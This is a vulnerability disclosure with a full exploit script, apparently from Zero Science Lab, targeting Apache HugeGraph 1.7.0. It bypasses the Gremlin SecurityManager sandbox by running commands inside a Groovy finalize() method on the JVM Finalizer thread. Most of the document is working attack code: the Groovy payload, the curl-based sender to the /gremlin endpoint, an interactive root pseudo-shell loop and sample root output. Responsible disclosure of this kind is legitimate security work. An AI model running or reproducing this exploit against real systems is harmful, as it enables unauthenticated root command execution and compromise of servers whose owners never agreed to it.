Apache HugeGraph 1.7.0 SecurityManager Sandbox Bypass Remote Code Execution

#!/usr/bin/env bash
#
#
# Apache HugeGraph 1.7.0 Sandbox Bypass Remote Code Execution
#
#
# Vendor: The Apache Software Foundation
# Product web page: https://hugegraph.apache.org
# Affected version: 1.7.0 and 1.8.0-dev (master)
#
# Summary: HugeGraph is a full-stack graph system covering graph
# database, graph computing, and graph AI. It provides complete
# graph data processing capabilities from storage and real-time
# querying to offline analysis, and supports both Gremlin and Cypher
# query languages.
#
# Desc: Apache HugeGraph suffers from a remote code execution
# vulnerability caused by a bypass of its SecurityManager-based
# Gremlin execution sandbox. HugeGraph executes submitted Gremlin
# as Groovy and relies on a custom HugeSecurityManager to block
# operating system access, but that manager only denies calls
# whose current thread name identifies them as Gremlin threads.
# By defining a class whose finalize() method runs an operating
# system command and forcing garbage collection, the command
# executes on the JVM Finalizer thread, where the check does not
# apply, and the sandbox is bypassed. Because authentication is
# disabled in the default configuration, a remote attacker can
# reach the Gremlin endpoint and execute arbitrary OS commands
# with root privileges.
#
# ============================================================
# $ ./hg.sh 192.168.1.129 8080
# [*] priv8 root pseudo-shell @ http://192.168.1.129:8080/gremlin
# [*] self-test (id):
# uid=0(root) gid=0(root) groups=0(root)
#
# root@hugegreaph:/hugegraph-server# uname -r
# 7.0.12-linuxkit
#
# root@hugegraph:/hugegraph-server# id
# uid=0(root) gid=0(root) groups=0(root)
#
# root@hugegraph:/hugegraph-server# exit
# [*] bye
# ============================================================
#
# Tested on: GNU/Linux 7.0.12-linuxkit (aarch64)
#            GNU/Linux 6.12.76-linuxkit (aarch64)
#            GNU/Linux 6.8.0-88-generic (x86_64)
#            Groovy 2.5.14
#            OpenJDK 11
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# Macedonian Information Security Research & Development Laboratory
# Zero Science Lab - https://www.zeroscience.mk - @zeroscience
#
#
# Advisory ID: ZSL-2026-6014
# Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-6014
#
#
# 13.08.2026
#


set -uo pipefail
TGT="${1:-192.168.1.129}"
PORT="${2:-8080}"
URL="http://$TGT:$PORT/gremlin"
CWD="/hugegraph-server"

print_banner(){
  mapfile -t _ART <<'ART'
        .--'''''''''--.
     .'      .---.      '.
    /    .-----------.    \
   /        .-----.        \
   |       .-.   .-.       |
   |      /   \ /   \      |
    \    | .-. | .-. |    /
     '-._| | | | | | |_.-'
         | '-' | '-' |
          \___/ \___/
       _.-'  /   \  `-._
     .' _.--|     |--._ '.
     ' _...-|     |-..._ '
            |     |
            '.___.'
              | |
             _| |_
            /\( )/\
           /  ` '  \
          | |     | |
          '-'     '-'
          | |     | |
          | |     | |
          | |-----| |
       .`/  |     | |/`.
       |    |     |    |
       '._.'| .-. |'._.'
             \ | /
             | | |
             | | |
             | | |
            /| | |\
          .'_| | |_`.
          `. | | | .'
       .    /  |  \    .
      /o`.-'  / \  `-.`o\
     /o  o\ .'   `. /o  o\
     `.___.'       `.___.'
ART
  mapfile -t _INFO <<INFO


 Apache HugeGraph 1.7.0
 Unauthenticated Gremlin RCE via a
 SecurityManager sandbox escape
 (residual of CVE-2024-27348).

 What this script does:
   Sends a Groovy payload to the
   /gremlin endpoint. The command
   runs inside finalize() on the JVM
   "Finalizer" thread, whose name is
   not a Gremlin worker thread, so
   HugeSecurityManager.checkExec is
   bypassed and the command executes
   as the HugeGraph server user.

   Fileless: output returns in the
   HTTP response (base64 both ways);
   'cd' is tracked client-side.

 Usage: ./hg.sh [host] [port]

 Advisory ID: ZSL-2026-6014
 Zero Science Lab
 https://zeroscience.mk
INFO
  local n=${#_ART[@]}; [ ${#_INFO[@]} -gt "$n" ] && n=${#_INFO[@]}
  local i
  for ((i=0; i<n; i++)); do
    printf '  %-40s%s\n' "${_INFO[i]:-}" "${_ART[i]:-}"
  done
  echo
}
print_banner

read -r -d '' GTMPL <<'GROOVY' || true
class HgS {
  static java.util.concurrent.atomic.AtomicBoolean f =
      new java.util.concurrent.atomic.AtomicBoolean(false)
  static volatile String out = null
  protected void finalize() throws Throwable {
    if (HgS.f.compareAndSet(false, true)) {
      def cmd = new String(java.util.Base64.decoder.decode("__CMDB64__"))
      def p = ["/bin/bash", "-c", cmd].execute()
      p.waitFor()
      HgS.out = p.text
    }
  }
}
for (int i = 0; i < 200; i++) { new HgS() }
def s = System.currentTimeMillis()
while (HgS.out == null && System.currentTimeMillis() - s < 15000) {
  System.gc(); Thread.sleep(50)
}
HgS.out
GROOVY

send(){
  local srv cmdb64 gremlin json resp tok
  srv="{ $1 ; } 2>&1 | base64 | tr -d '\n'"
  cmdb64=$(printf '%s' "$srv" | base64 | tr -d '\n')
  gremlin=${GTMPL//__CMDB64__/$cmdb64}
  json=$(printf '%s' "$gremlin" \
         | awk 'BEGIN{ORS=""} {gsub(/\\/,"\\\\"); gsub(/"/,"\\\""); print $0 "\\n"}')
  resp=$(curl -s -m 25 --compressed -X POST "$URL" \
              -H 'Content-Type: application/json' -H 'Accept: application/json' \
              --data "{\"gremlin\":\"$json\"}")
  tok=$(printf '%s' "$resp" | sed -n 's#.*"data":\["\([A-Za-z0-9+/=]*\)"\].*#\1#p')
  if [ -n "$tok" ]; then
    printf '%s' "$tok" | base64 -d 2>/dev/null
  else
    printf '%s\n' "$resp"
  fi
}

echo "[*] priv8 root pseudo-shell @ $URL"
echo "[*] self-test (id):"
send 'id'
echo

while true; do
  printf 'root@hugegraph:%s# ' "$CWD"
  IFS= read -r CMD || break
  [ -z "$CMD" ] && continue
  case "$CMD" in exit|quit) break;; esac
  REQ="cd \"$CWD\" 2>/dev/null; $CMD; printf '\n__CWD__:%s\n' \"\$(pwd)\""
  OUT=$(send "$REQ")
  NEWCWD=$(printf '%s' "$OUT" | sed -n 's/^__CWD__://p' | tail -1)
  printf '%s' "$OUT" | sed '/^__CWD__:/d'
  [ -n "$NEWCWD" ] && CWD="$NEWCWD"
done
echo "[*] bye"